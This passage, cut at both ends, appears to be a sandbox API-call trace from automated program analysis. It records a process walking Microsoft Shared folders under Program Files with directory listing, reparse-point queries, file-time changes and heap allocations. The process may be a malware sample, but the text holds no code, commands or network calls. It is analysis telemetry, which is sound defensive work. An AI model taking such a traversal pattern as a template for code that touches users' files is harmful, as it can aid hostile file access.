BaseAddress=0x9ebe28) returned 1 [0054.300] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="")) returned 1 [0054.300] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0054.325] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0054.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0f40 [0054.326] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0f40, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0f40, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0054.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0f40) returned 1 [0054.326] NtClose (Handle=0x16c) returned 0x0 [0054.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.326] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0054.326] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.326] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0054.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.326] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0054.326] GetLastError () returned 0x12 [0054.326] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0054.327] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.327] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.327] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0054.327] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 0 [0054.327] GetLastError () returned 0x12 [0054.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.327] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.327] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0054.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.327] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0054.677] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0054.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f0f40 [0054.677] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f0f40, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9f0f40, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0054.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f0f40) returned 1 [0054.677] NtClose (Handle=0x160) returned 0x0 [0054.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0054.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0054.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0054.739] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8580 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef2d8 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa352261, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e85a0 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef6f8 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ca9e3b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ca9e3b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4421c165, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blue_Gradient.jpg", cAlternateFileName="")) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e85c0 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef5f0 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ccff98, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ccff98, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x442422c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x11eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cave_Drawings.gif", cAlternateFileName="")) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e85e0 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ef908 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4d6850c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4d6850c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4434cc55, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x90f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connectivity.gif", cAlternateFileName="")) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8600 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9efb18 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80425158, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8620 [0054.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9efa10 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8640 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0148 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8660 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0250 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e8680 [0054.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0358 [0054.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.776] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0054.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e86a0 [0054.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0460 [0054.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.778] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0054.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e86c0 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f0568 [0054.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.779] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0054.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0054.779] RtlFreeHeap (HeapHandle=0x940000, 